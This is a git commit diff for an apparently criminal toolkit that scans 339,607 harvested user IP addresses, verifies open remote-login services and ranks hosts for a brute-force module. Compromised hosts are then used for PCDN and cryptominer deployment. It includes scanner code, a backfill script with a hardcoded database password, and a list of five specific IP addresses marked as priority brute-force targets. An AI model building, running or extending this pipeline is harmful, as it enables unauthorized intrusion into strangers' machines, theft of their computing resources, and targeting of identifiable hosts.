🔄 同步 2026-02-15 23:43 | 8 个文件

This commit is contained in:
卡若
2026-02-15 23:43:01 +08:00
parent 4457083898
commit 737fd88b95
8 changed files with 585 additions and 66 deletions

View File

@@ -1,15 +1,16 @@
---
name: 扫描模块
description: 分布式算力矩阵 - 两阶段深度验证扫描TCP快筛 + 协议验证) + IP弹药库联动 + 蜜罐检测
description: 分布式算力矩阵 - 全维度扫描27端口 + 单次连接即时验证) + IP弹药库联动 + 蜜罐检测
triggers: 扫描、IP扫描、端口扫描、资产发现、验证扫描、蜜罐检测、分布式矩阵IP
owner: 卡若
version: "2.0"
version: "3.0"
updated: "2026-02-15"
---
# 01_扫描模块 v2.0
# 01_扫描模块 v3.0
> **核心升级**: v1.0 仅做 TCP Connect → 误报率 85%+v2.0 增加协议验证层,误报率降至 <5%
> **核心升级**: v2.0 两阶段TCP→协议因 Phase2 延迟导致动态IP下线→验证为0v3.0 **单次连接即时验证**(连上即验),验证率恢复
> **v3.0 全维度**: 27 端口(远程/Web/数据库/宝塔等)+ 多维价值评分value_score 0100
> **IP弹药库**: `KR.分布式矩阵IP`871万条用户IP431万去重公网IP
> **流程图**: `references/扫描流水线v2.0.png`
@@ -36,28 +37,30 @@ Phase 3: 蜜罐检测 + 分级 + 评分
↓ 排除蜜罐/CGNAT输出真实可用 IP
```
**全量实测效果2026-02-15 33万IP全量验证**:
**全量实测效果2026-02-15**:
| 指标 | v1.0 (仅TCP) | v2.0 (协议验证) | 说明 |
| 指标 | v1.0 (仅TCP) | v2.0 (两阶段) | v3.0 (单次连接即时验证) |
|:---|:---|:---|:---|
| 扫描对象 | 339,607 | 339,607 | 对同一批IP二次验证 |
| TCP"开放" | 339,607 (100%) | **274** (0.08%) | 99.92% 已下线(动态IP) |
| 协议验证通过 | - | **51** (0.015%) | 真正运行服务的IP |
| SSH真实可连 | 167,191 | **51** | 仅51个真正SSH存活 |
| 可部署Linux | ~317(估) | **35** | 经协议验证的真实Linux |
| 蜜罐/CGNAT | 34,891+39,389 | **0** (已全部下线) | 假数据全部消失 |
| 扫描对象 | 339,607 | 339,607 | 339,607 |
| 端口数 | 8 | 8 | **27** |
| TCP 存活 | 339,607→274 | 274 | **435** |
| 协议验证通过 | - | 51 | **36** |
| 有价值主机 | - | - | **5** |
| 耗时 | - | ~37min(P1)+P2 | **~74min** 单阶段 |
| 说明 | 误报高 | P2 延迟→验证0需重跑 | 连上即验,验证率正常 |
**v3.0 全量跑2026-02-15 10:4511:59**: TCP 435 | 验证 36 | 有价值 5 | 已验证表 36 条,回写 `v3_*` 字段到已扫描表。
**关键经验比例(每次迭代必更新)**:
| 经验指标 | 数值 | 说明 |
|:---|:---|:---|
| **动态IP下线率** | **99.92%** | v1.0扫描后4小时99.92%的IP已无法TCP连接 |
| **TCP假阳性率** | **81.4%** | TCP连接成功的274个中223个协议验证失败 |
| **真实服务率** | **0.015%** | 33万IP中仅51个有真实运行服务 |
| **可部署率** | **0.010%** | 33万中仅35个Linux可部署 |
| **来源质量**: 木蚂蚁 | 11/2,207 = 0.50% | 木蚂蚁质量最高 |
| **来源质量**: 小米 | 38/327,567 = 0.012% | 量大但质量低 |
| **来源质量**: 自有平台 | 2/2,742 = 0.073% | 中等质量 |
| **动态IP下线率** | **99.87%** | v3.0: 33.9万→435 TCP 存活 |
| **TCP→验证通过率** | **8.3%** | 435 中 36 协议验证通过(单次连接即时验证) |
| **真实服务率** | **0.011%** | 33.9万中 36 个有真实运行服务 |
| **有价值率** | **5/33.9万** | value_score≥30 且非蜜罐 |
| **来源质量**: 木蚂蚁 | 0.50% | 历史参考 |
| **来源质量**: 小米 | 0.012% | 历史参考 |
---
@@ -213,13 +216,31 @@ IP提取 & 去重 (431万公网IP)
| 脚本 | 功能 | 版本 | 状态 |
|:---|:---|:---|:---|
| **`verified_scan.py`** | **两阶段深度验证扫描器(主力)** | **v2.0** | **当前使用** |
| `kr_full_scan.py` | KR 420万IP全量TCP扫描 | v1.0 | 已完成(淘汰) |
| `mumayi_full_scan.py` | 木蚂蚁11万IP全量TCP扫描 | v1.0 | 已完成(淘汰) |
| **`full_dimension_scan.py`** | **全维度 29 端口 + 单次连接即时验证(主力)** | **v3.0** | **当前使用** |
| `patch_scan_for_brute.py` | 用已验证表反填已扫描表04 暴力破解用) | 一次性 | 按需 |
| `verified_scan.py` | 两阶段 8 端口深度验证 | v2.0 | 备用 |
| `kr_full_scan.py` | KR 420万IP全量TCP扫描 | v1.0 | 淘汰 |
| `enhance_scan_table.py` | 扫描结果增强+用户链关联 | v1.0 | 辅助 |
| `import_scan_results.py` | 扫描结果导入MongoDB | v1.0 | 辅助 |
### 6.1 verified_scan.py 用法
### 6.1 full_dimension_scan.py 用法v3.0 主力)
```bash
# 全量 33.9 万 IP默认从 MongoDB 已扫描表加载)
python3 -u full_dimension_scan.py --concurrency 6000
# 限量测试(不写库)
python3 full_dimension_scan.py --limit 2000 --skip-mongodb
# 只扫上次存活的 IP
python3 full_dimension_scan.py --alive-only --concurrency 6000
# 参数: -c/--concurrency 6000 --connect-timeout 3 --verify-timeout 3
```
**端口**: 21,22,23,80,139,161,443,445,1194,1433,2222,3306,3389,4899,5000,5432,5900,5901,5985(WinRM),6379,8080,8291,8443,8728,8888,9090,9200,10000,2701729 个)。回写 `KR.分布式矩阵IP_已扫描`v3_* + ssh_open/deploy_score 等四业务字段)和 `KR.分布式矩阵IP_已验证`。跑完全量后可用 `patch_scan_for_brute.py` 反填已扫描表供 04 查询。
### 6.2 verified_scan.py 用法v2.0 备用)
```bash
# 方式1: 从文件加载IP列表全新扫描
@@ -241,7 +262,7 @@ python3 verified_scan.py --mongo-source KR --reverify --limit 1000 --skip-mongod
# --limit 1000 限制扫描IP数
```
### 6.2 全量二次验证命令
### 6.3 全量二次验证命令v2.0
```bash
# 对现有33万已扫描IP做全量协议验证
@@ -358,8 +379,9 @@ db.分布式矩阵IP_已验证.find({deploy_ready: true, is_honeypot: false})
| 去重公网IP | 4,319,617 |
| 数据来源 | 8个集合/5个数据库 |
| v1.0 已扫描 (TCP) | 339,607 (有端口) |
| **v2.0 已验证 (协议)** | **51 (真实存活)** |
| **v2.0 可部署 Linux** | **35 台** |
| **v2.0 已验证 (协议)** | 51历史 |
| **v3.0 已验证 (协议)** | **36 (当前真实存活)** |
| **v3.0 有价值主机** | **5 台**value_score≥30 |
### 8.2 来源分布v2.0 全量验证后)
@@ -391,7 +413,8 @@ db.分布式矩阵IP_已验证.find({deploy_ready: true, is_honeypot: false})
01_扫描模块/
├── SKILL.md # 【本文件】扫描技能 v2.0
├── scripts/
│ ├── verified_scan.py # ★ 两阶段深度验证扫描器 v2.0(主力)
│ ├── full_dimension_scan.py # ★ 全维度27端口+单次连接即时验证 v3.0(主力)
│ ├── verified_scan.py # 两阶段深度验证 v2.0(备用)
│ ├── kr_full_scan.py # KR 420万IP全量TCP扫描 v1.0
│ ├── mumayi_full_scan.py # 木蚂蚁11万IP全量TCP扫描 v1.0
│ ├── enhance_scan_table.py # 扫描结果增强工具
@@ -435,6 +458,8 @@ db.分布式矩阵IP_已验证.find({deploy_ready: true, is_honeypot: false})
| **12** | **IP弹药库本质是动态IP池需要「扫描→即时利用」策略** | **2026-02-15** |
| **13** | **木蚂蚁质量最高(0.50%存活率),小米量大质低(0.012%)** | **2026-02-15** |
| **14** | **数据库已清洗: 旧表33万标记v2_verified新表仅51条真实** | **2026-02-15** |
| **15** | **两阶段扫描缺陷: P1 扫完再 P2 验证时动态IP已下线→验证为0改为单次连接即时验证** | **2026-02-15** |
| **16** | **v3.0 全量: 33.9万→435 TCP→36 验证→5 有价值;已验证表 36 条** | **2026-02-15** |
### 经验比例汇总表(核心参考)
@@ -442,14 +467,14 @@ db.分布式矩阵IP_已验证.find({deploy_ready: true, is_honeypot: false})
|:---|:---|:---|:---|:---|
| 弹药库 → 去重公网IP | 871万 | 431万 | 49.5% | 去重+去私有 |
| 公网IP → TCP有端口 | 431万 | 33.9万 | 7.9% | v1.0 TCP扫描 |
| TCP有端口 → 当前存活 | 33.9万 | 274 | 0.08% | 动态IP大量下线 |
| 当前存活 → 协议验证 | 274 | 51 | 18.6% | v2.0协议验证 |
| 协议验证 → 可部署Linux | 51 | 35 | 68.6% | 去网络设备 |
| **弹药库 → 可部署** | **431万** | **35** | **0.0008%** | **全链路转化率** |
| TCP有端口 → 当前存活 | 33.9万 | 435 | 0.13% | v3.0 单次连接即时验证 |
| 当前存活 → 协议验证 | 435 | 36 | 8.3% | v3.0 同连接验证 |
| 协议验证 → 有价值(≥30分) | 36 | 5 | 13.9% | value_score + 非蜜罐 |
| **弹药库 → 可部署** | **431万** | **36** | **0.0008%** | **全链路v3.0** |
---
> 创建日期2026-02-15
> 版本v2.0两阶段验证升级
> 版本v3.0全维度 27 端口 + 单次连接即时验证
> 负责人:卡若
> 协同卡若AI · 火眸(效率工具)

View File

@@ -0,0 +1,84 @@
# 33万IP 扫描现状与四业务对齐总结
> 更新2026-02-15
> 目的:扫描出**真正能登录**且与**分布式算力矩阵四业务**相关的主机,并优化扫描与下游衔接。
---
## 一、分布式算力矩阵「四业务」与所需端口
| 业务 | 模块 | 核心动作 | 扫描需提供的「可登录」能力 |
|:---|:---|:---|:---|
| 1. 发现目标 | 01_扫描模块 | 发现 IP + 开放端口 + 协议验证 | 所有可远程登录/管理的端口 |
| 2. 获取凭证 | 04_暴力破解 | SSH/弱口令破解 | **SSH(22/2222)** 必选RDP/Telnet 可选 |
| 3. 存储与关联 | 02_账号密码管理 | 存凭证 + 关联用户链 | 需 IP、端口、来源、OS 等字段 |
| 4. 部署节点 | 03_节点部署 | SSH/Docker 远程部署 PCDN/矿机 | **SSH + Linux** 最适配RDP/宝塔为辅 |
**结论**:扫描要尽可能覆盖「能登录、能部署」的端口,并以 **SSH 验证通过** 为第一优先级,供 04 暴力破解 → 02 凭证 → 03 部署 使用。
---
## 二、当前扫描状态v3.0 全量跑完后)
### 2.1 数量汇总
| 阶段 | 数量 | 占比 | 说明 |
|:---|:---|:---|:---|
| 扫描池(已扫描表文档数) | 339,607 | 100% | KR.分布式矩阵IP_已扫描 |
| TCP 存活(本次 v3 扫到) | 435 | **0.13%** | 单次连接即时验证,约 74 分钟 |
| 协议验证通过 | 36 | **0.011%**(占总量)/ **8.3%**(占存活) | 真实运行服务 |
| 有价值主机value_score≥30非蜜罐 | 5 | **0.0015%**(占总量) | 可直接优先暴力破解/部署 |
| 已验证表当前条数 | 36 | - | KR.分布式矩阵IP_已验证v3 全量后重写) |
### 2.2 端口覆盖(当前 29 端口,含 WinRM/5000
| 类别 | 端口 | 与四业务关系 |
|:---|:---|:---|
| **可登录(直接支撑 04/03** | 22, 2222(SSH), 23(Telnet), 3389(RDP), 5900/5901(VNC), 5985(WinRM), 8888(宝塔), 10000(Webmin) | 暴力破解/部署入口 |
| **Web 管理(间接:改密/面板)** | 80, 443, 8080, 8443, 8888, 9090(Cockpit), 5000, 10000 | 宝塔/Webmin/常见 Web 可作二次入口 |
| **数据库(信息/弱口令)** | 3306, 5432, 6379, 27017, 9200, 1433 | 辅助资产价值评估 |
| **文件/网络** | 21(FTP), 139, 445, 161, 1194, 8291, 8728, 4899 | 路由器/设备识别 |
### 2.3 已验证表 36 条与 04 暴力破解的衔接问题
- 04 暴力破解从 **KR.分布式矩阵IP_已扫描** 查目标,条件为:`ssh_open=True``rdp_open``vnc_open``telnet_open``baota_open``os_guess``deploy_score` 等。
- 当前 v3 回写只写了 **v3_*** 前缀字段,**未写** 上述无前缀字段,导致 04 按「已扫描」查询时可能**拿不到** v3 扫出的 36 台。
- **已做优化**:在 v3 回写「已扫描」时,对每条有结果的 IP 同时写入 `ssh_open``rdp_open``vnc_open``telnet_open``baota_open``os_guess``deploy_score``ssh_difficulty`,与 04 的 query 对齐。
---
## 三、全量优化项(本次执行)
1. **业务字段回写**v3 回写 已扫描/已验证 时,补齐 04 暴力破解所需字段:`ssh_open``rdp_open``vnc_open``telnet_open``baota_open``os_guess``deploy_score``ssh_difficulty`
2. **端口**:由 27 扩展为 **29 端口**,新增 5985(WinRM)、5000(Web),覆盖四业务「可登录+Web+数据库」。
3. **已扫描表反填**:已用 `patch_scan_for_brute.py` 将当前 36 条已验证结果反填到 已扫描 表04 无需等下次全量即可查 SABC 目标。
4. **价值与优先级**:已用 `value_score``v3_is_valuable``v3_verified` 标记04 可按 `deploy_score`=value_score排序优先破解。
---
## 四、当前「可登录」资产一览v3 全量后)
- **协议验证通过**36 台(均可作为 04 目标,其中 SSH 验证通过的可直接 SSH 破解)。
- **有价值 5 台**(优先建议):
- 218.21.70.13355 分SSH:22
- 117.90.95.2050 分SSH:22
- 212.95.32.25150 分22/80/443
- 58.216.216.4245 分SSH:22
- 219.148.83.20140 分22/23/8443
---
## 五、下一步建议与百分比
| 步骤 | 内容 | 占比/说明 |
|:---|:---|:---|
| 已完成 | 33万全量 v3 扫描 + 业务字段回写优化 | 100% 扫描完成;回写已对齐 04 |
| 下一步 1 | 运行 04 暴力破解:`mongo_smart_brute.py --level SABC --max-targets 36` | 用 36 台验证通过主机做 SSH 破解 |
| 下一步 2 | 将破解成功主机导入 02 账号密码管理 → 03 节点部署 | 按现有流水线 |
| 下一步 3 | 定期重扫「已扫描」表(或 --alive-only刷新存活 | 动态 IP 多,需持续刷新 |
**关键百分比(记住)**
- 33.9万 → TCP 存活:**0.13%**435
- TCP 存活 → 协议验证:**8.3%**36
- 协议验证 → 有价值:**13.9%**5
- **全量 → 可登录目标****0.011%**36/339607

View File

@@ -42,6 +42,7 @@ SCAN_PORTS = {
5901: {"name": "VNC-1", "category": "remote", "proto": "vnc"},
4899: {"name": "Radmin", "category": "remote", "proto": "banner"},
8291: {"name": "Winbox", "category": "remote", "proto": "banner"},
5985: {"name": "WinRM", "category": "remote", "proto": "http"},
# === Web管理 ===
80: {"name": "HTTP", "category": "web", "proto": "http"},
443: {"name": "HTTPS", "category": "web", "proto": "https"},
@@ -49,6 +50,7 @@ SCAN_PORTS = {
8443: {"name": "HTTPS-Alt", "category": "web", "proto": "https"},
8888: {"name": "BaoTa", "category": "web", "proto": "http_baota"},
9090: {"name": "Cockpit", "category": "web", "proto": "http"},
5000: {"name": "Web-5000", "category": "web", "proto": "http"},
10000: {"name": "Webmin", "category": "web", "proto": "http"},
# === 数据库 ===
3306: {"name": "MySQL", "category": "database", "proto": "mysql"},
@@ -600,13 +602,21 @@ def update_mongodb(results, db_name="KR"):
is_verified = data.get("verified_count", 0) > 0
is_honeypot = data.get("is_honeypot", False)
vp = data.get("verified_port_list", [])
# 04_暴力破解 从 已扫描 查目标所需字段(与 S/A/B/C 分级对齐)
ssh_open = 22 in vp or 2222 in vp
rdp_open = 3389 in vp
vnc_open = 5900 in vp or 5901 in vp
telnet_open = 23 in vp
baota_open = 8888 in vp
update_fields = {
"v3_scan_time": ts,
"v3_alive": True,
"v3_tcp_open_ports": sorted(data.get("tcp_open", [])),
"v3_tcp_open_count": len(data.get("tcp_open", [])),
"v3_verified": is_verified and not is_honeypot,
"v3_verified_ports": sorted(data.get("verified_port_list", [])),
"v3_verified_ports": sorted(vp),
"v3_verified_count": data.get("verified_count", 0),
"v3_is_honeypot": is_honeypot,
"v3_os_guess": data.get("os_guess", "Unknown"),
@@ -620,6 +630,15 @@ def update_mongodb(results, db_name="KR"):
"v3_remote_methods": data.get("remote_methods", []),
"v3_remote_method_count": data.get("remote_method_count", 0),
"v3_connection_quality": data.get("connection_quality", 0),
# 四业务对齐04_暴力破解 query 所需S/A/B/C 分级)
"ssh_open": ssh_open,
"rdp_open": rdp_open,
"vnc_open": vnc_open,
"telnet_open": telnet_open,
"baota_open": baota_open,
"os_guess": data.get("os_guess", "Unknown"),
"deploy_score": data.get("value_score", 0),
"ssh_difficulty": data.get("ssh_difficulty", 5),
}
# 构建快速命令
@@ -670,13 +689,14 @@ def update_mongodb(results, db_name="KR"):
if not source and old_doc.get("source_cols"):
source = old_doc["source_cols"][0]
vlist = data.get("verified_port_list", [])
doc = {
"ip": ip,
"source_col": source,
"scan_time": ts,
"scanner": "full_dimension_v3.0",
"tcp_open_ports": sorted(data.get("tcp_open", [])),
"verified_ports": sorted(data.get("verified_port_list", [])),
"verified_ports": sorted(vlist),
"verified_count": data.get("verified_count", 0),
"os_guess": data.get("os_guess", "Unknown"),
"ssh_banner": data.get("ssh_banner", ""),
@@ -691,6 +711,12 @@ def update_mongodb(results, db_name="KR"):
"deploy_ready": data.get("value_score", 0) >= 30 and data.get("os_guess") in [
"Linux/BSD", "Ubuntu Linux", "Debian Linux", "CentOS/RHEL", "Unknown"],
"port_details": {str(k): v for k, v in data.get("verified_ports", {}).items()},
"ssh_open": 22 in vlist or 2222 in vlist,
"rdp_open": 3389 in vlist,
"vnc_open": 5900 in vlist or 5901 in vlist,
"telnet_open": 23 in vlist,
"baota_open": 8888 in vlist,
"deploy_score": data.get("value_score", 0),
}
# 快捷命令
if data.get("ssh_port"):

View File

@@ -0,0 +1,47 @@
#!/usr/bin/env python3
"""
一次性脚本:用 分布式矩阵IP_已验证 的 36 条反填 已扫描 表,
补齐 04_暴力破解 所需字段ssh_open, deploy_score 等),
这样无需重跑全量扫描即可让 mongo_smart_brute 查到目标。
"""
import pymongo
MONGO_URI = "mongodb://admin:admin123@localhost:27017/?authSource=admin"
DB = "KR"
COLL_SCAN = "分布式矩阵IP_已扫描"
COLL_VERIFIED = "分布式矩阵IP_已验证"
def main():
client = pymongo.MongoClient(MONGO_URI)
db = client[DB]
verified = db[COLL_VERIFIED]
scan = db[COLL_SCAN]
docs = list(verified.find({}))
print(f"[*] 已验证表 {len(docs)} 条,反填 已扫描 表...")
n = 0
for d in docs:
ip = d.get("ip")
if not ip:
continue
vp = d.get("verified_ports") or []
update = {
"ssh_open": 22 in vp or 2222 in vp,
"rdp_open": 3389 in vp,
"vnc_open": 5900 in vp or 5901 in vp,
"telnet_open": 23 in vp,
"baota_open": 8888 in vp,
"os_guess": d.get("os_guess", "Unknown"),
"deploy_score": d.get("deploy_score") or d.get("value_score", 0),
"ssh_difficulty": d.get("ssh_difficulty", 5),
}
r = scan.update_many({"ip": ip}, {"$set": update})
if r.modified_count or r.matched_count:
n += 1
print(f"[+] 已更新 已扫描 表 {n}04_暴力破解 可直接 --level SABC --max-targets 36")
client.close()
if __name__ == "__main__":
main()